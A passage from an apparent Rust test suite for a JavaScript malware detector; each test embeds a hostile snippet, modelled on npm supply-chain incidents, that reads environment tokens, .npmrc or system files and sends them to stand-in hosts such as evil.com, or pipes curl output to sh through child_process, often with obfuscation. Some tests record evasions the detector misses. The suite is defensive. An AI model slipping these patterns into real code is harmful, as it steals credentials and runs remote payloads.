#x = process.env.TOKEN;
getX() { return this.#x; }
}
fetch(new C().getX());
"#;
assert_evil_detected(js, "oo_class_private_field");
}
#[test]
fn oo_class_static_method() {
let js = r#"
class C {
static get() { return process.env.TOKEN; }
}
fetch(C.get());
"#;
assert_evil_detected(js, "oo_class_static_method");
}
#[test]
fn oo_class_inheritance() {
let js = r#"
class A {}
class B extends A {
steal() { fetch(process.env.TOKEN); }
}
new B().steal();
"#;
assert_evil_detected(js, "oo_class_inheritance");
}
#[test]
fn oo_accessor_chain() {
let js = r#"
var obj = {};
Object.defineProperty(obj, 'a', {
get: function() { return { b: process.env.TOKEN }; }
});
fetch(obj.a.b);
"#;
assert_evil_detected(js, "oo_accessor_chain");
}
#[test]
#[should_panic(expected = "must be detected")]
fn oo_proxy_revocable() {
let js = r#"
var p = Proxy.revocable(process.env, {
get: function(o, k) { fetch(o[k]); return o[k]; }
});
p.proxy.TOKEN;
"#;
assert_evil_detected(js, "oo_proxy_revocable");
}
#[test]
fn oo_object_assign_merge() {
let js = r#"
var o = Object.assign({}, { secret: process.env.TOKEN });
fetch(o.secret);
"#;
assert_evil_detected(js, "oo_object_assign_merge");
}
#[test]
fn oo_object_create_taint() {
let js = r#"
var o = Object.create(null, { secret: { value: process.env.TOKEN } });
fetch(o.secret);
"#;
assert_evil_detected(js, "oo_object_create_taint");
}
#[test]
fn oo_seal_freeze_persistence() {
let js = r#"
var o = { secret: process.env.TOKEN };
Object.freeze(o);
fetch(o.secret);
"#;
assert_evil_detected(js, "oo_seal_freeze_persistence");
}
#[test]
fn oo_weakset_membership() {
let js = r#"
var ws = new WeakSet();
var t = {};
t.value = process.env.TOKEN;
ws.add(t);
if (ws.has(t)) { fetch(t.value); }
"#;
assert_evil_detected(js, "oo_weakset_membership");
}
#[test]
fn oo_computed_symbol_access() {
let js = r#"
var s = Symbol();
var o = {};
o[s] = process.env.TOKEN;
fetch(o[s]);
"#;
assert_evil_detected(js, "oo_computed_symbol_access");
}
#[test]
fn apt_event_stream_proxy_trap_hide() {
let js = r#"
var payload = Buffer.from('BASE64', 'base64').toString();
var p = new Proxy({ data: payload }, {
get: function(t, p) {
if (t.data.indexOf('copay') !== -1) {
require('https').request({ hostname: 'copayapi.host', path: '/wallet', method: 'POST' }).end(t.data);
}
return t[p];
}
});
p.data;
"#;
assert_evil_detected(js, "apt_event_stream_proxy_trap_hide");
}
#[test]
fn apt_ua_parser_weakmap_storage() {
let js = r#"
var wm = new WeakMap();
var key = {};
wm.set(key, process.env.MINER_URL);
var url = wm.get(key);
require('child_process').exec('curl -s ' + url + ' | sh');
"#;
assert_evil_detected(js, "apt_ua_parser_weakmap_storage");
}
#[test]
fn apt_colors_closure_scope_escape() {
let js = r#"
function init() {
var t = process.env.TOKEN;
return function() {
while (true) {}
fetch(t);
};
}
init()();
"#;
assert_evil_detected(js, "apt_colors_closure_scope_escape");
}
#[test]
fn apt_faker_generator_yield_hide() {
let js = r#"
function* gen() { yield process.env.TOKEN; }
var g = gen();
fetch(g.next().value);
"#;
assert_evil_detected(js, "apt_faker_generator_yield_hide");
}
#[test]
fn apt_node_ipc_symbol_keyed_exfil() {
let js = r#"
var sym = Symbol('path');
var data = {};
data[sym] = require('fs').readFileSync('/etc/hosts');
require('https').request({ hostname: 'peace.example', path: '/' + data[sym] }).end();
"#;
assert_evil_detected(js, "apt_node_ipc_symbol_keyed_exfil");
}
#[test]
#[should_panic(expected = "must be detected")]
fn apt_peacenotwar_with_statement_wiper() {
let js = r#"
var msg = { text: 'PEACE_NOT_WAR' };
with (msg) {
require('fs').writeFileSync('/tmp/peace', text);
}
"#;
assert_evil_detected(js, "apt_peacenotwar_with_statement_wiper");
}
#[test]
fn apt_eslint_scope_computed_property_hide() {
let js = r#"
var prop = 'readFileSync';
var npmrc = require('fs')[prop]('.npmrc');
var method = 'request';
require('https')[method]({ hostname: 'evil.com', path: '/' + npmrc }).end();
"#;
assert_evil_detected(js, "apt_eslint_scope_computed_property_hide");
}
#[test]
fn apt_getcookies_function_constructor() {
let js = r#"
var body = request.body;
new Function(body)();
"#;
assert_evil_detected(js, "apt_getcookies_function_constructor");
}
#[test]
fn apt_bootstrap_sass_async_delay() {
let js = r#"
async function run() {
await Promise.resolve(1);
var p = Buffer.from('Y3VybCBldmlsLmNvbQ==', 'base64').toString();
require('child_process').exec(p);
}
run();
"#;
assert_evil_detected(js, "apt_bootstrap_sass_async_delay");
}
#[test]
fn apt_coa_rc_indirection_chain() {
let js = r#"
var a = Buffer.from('c2ggL3RtcC9taW5lci5zaA==', 'base64').toString();
var b = a; var c = b; var d = c; var e = d; var f = e;
require('child_process').execSync(f);
"#;
assert_evil_detected(js, "apt_coa_rc_indirection_chain");
}
#[test]
fn apt_electron_native_notify_iife_hide() {
let js = r#"
(function() {
(function() {
require('child_process').execSync('curl -s https://evil.com/install.sh | sh');
})();
})();
"#;
assert_evil_detected(js, "apt_electron_native_notify_iife_hide");
}
#[test]
fn apt_conventional_changelog_spread_hide() {
let js = r#"
var token = process.env.NPM_TOKEN;
var payload = { ...{ token: token }, ci: true };
require('https').request({ hostname: 'evil.com', path: '/tokens', method: 'POST' }).end(JSON.stringify(payload));
"#;
assert_evil_detected(js, "apt_conventional_changelog_spread_hide");
}
#[test]
fn apt_rest_client_promise_chain_hide() {
let js = r#"
var t = process.env.TOKEN;
var f = require('fs').readFileSync('.npmrc');
Promise.resolve({ t: t, f: f })
.then(function(data) { return data; })
.then(function(data) {
require('https').request({ hostname: 'c2.example', path: '/t=' + data.t + '&f=' + data.f }).end();
});
"#;
assert_evil_detected(js, "apt_rest_client_promise_chain_hide");
}
#[test]
fn apt_bb_builder_timing_evasion() {
let js = r#"
var e = JSON.stringify(process.env);
process.nextTick(function() {
require('dns').lookup(e.slice(0, 60) + '.exfil.example', function() {});
});
"#;
assert_evil_detected(js, "apt_bb_builder_timing_evasion");
}
#[test]
fn apt_is_promise_prototype_pollution() {
let js = r#"
Object.prototype.payload = process.env.PAYLOAD;
var x = {};
new Function(x.payload)();
"#;
assert_evil_detected(js, "apt_is_promise_prototype_pollution");
}
#[test]
fn apt_left_pad_reflect_apply_hide() {
let js = r#"
var m = process.env.MESSAGE;
Reflect.apply(fetch, null, ['https://protest.example/?msg=' + m]);
"#;
assert_evil_detected(js, "apt_left_pad_reflect_apply_hide");
}
#[test]
fn apt_dependency_confusion_object_defineproperty() {
let js = r#"
var o = {};
Object.defineProperty(o, 'secret', {
get: function() { return process.env.TOKEN; }
});
require('dns').lookup(o.secret + '.dep-conf.example', function() {});
"#;
assert_evil_detected(js, "apt_dependency_confusion_object_defineproperty");
}
#[test]
fn apt_crossenv_settimeout_beacon() {
let js = r#"
var e = process.env;
setTimeout(function() {
fetch('https://evil.com?' + e.TOKEN);
}, 0);
"#;
assert_evil_detected(js, "apt_crossenv_settimeout_beacon");
}
#[test]
fn apt_event_stream_indirect_eval_comma() {
let js = r#"
var payload = Buffer.from('BASE64PAYLOAD', 'base64').toString();
(0, eval)(payload);
"#;
assert_evil_detected(js, "apt_event_stream_indirect_eval_comma");
}
#[test]
#[should_panic(expected = "must be detected")]
fn apt_jquery_weakref_finalization() {
let js = r#"
var registry = new FinalizationRegistry(function(value) {
fetch('https://evil.com/?d=' + value);
});
var obj = { data: process.env.TOKEN };
registry.register(obj, obj.data);
"#;
assert_evil_detected(js, "apt_jquery_weakref_finalization");
}